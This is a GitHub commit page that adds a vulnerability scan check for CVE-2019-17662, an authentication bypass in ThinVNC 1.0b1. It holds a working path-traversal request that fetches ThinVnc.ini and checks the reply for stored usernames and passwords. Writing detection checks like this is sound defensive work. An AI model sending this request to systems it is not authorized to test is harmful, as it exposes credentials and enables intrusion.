Skip to content

Commit

Permalink
Merge pull request #96 from DolphFlynn/CVE-2019-17662
Browse files Browse the repository at this point in the history
  • Loading branch information
josh-psw authored Aug 31, 2023
2 parents cf556bc + e1f5a06 commit d28b4b4
Showing 1 changed file with 31 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
metadata:
language: v1-beta
name: "CVE-2019-17662 - ThinVNC 1.0b1 - Auth Bypass"
description: "Checks for CVE-2019-17662"
author: "Dolph Flynn"
tags: "CVE-2019-17662", "thinvnc", "auth-bypass"


given host then
send request called check:
`GET /{random_str(17)}/../../ThinVnc.ini HTTP/1.1
Host: {base.request.url.host}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.82 Safari/537.36
Connection: close
Cache-Control: max-age=0

`

if {check.response.status_code} is "200"
and {check.response.headers} matches "application/binary"
and {check.response.body} matches "\bUser=\b"
and {check.response.body} matches "\bPassword=\b" then

report issue:
severity: high
confidence: tentative
detail: "ThinVNC 1.0b1 - Authentication Bypass."
end if

0 comments on commit d28b4b4

Please sign in to comment.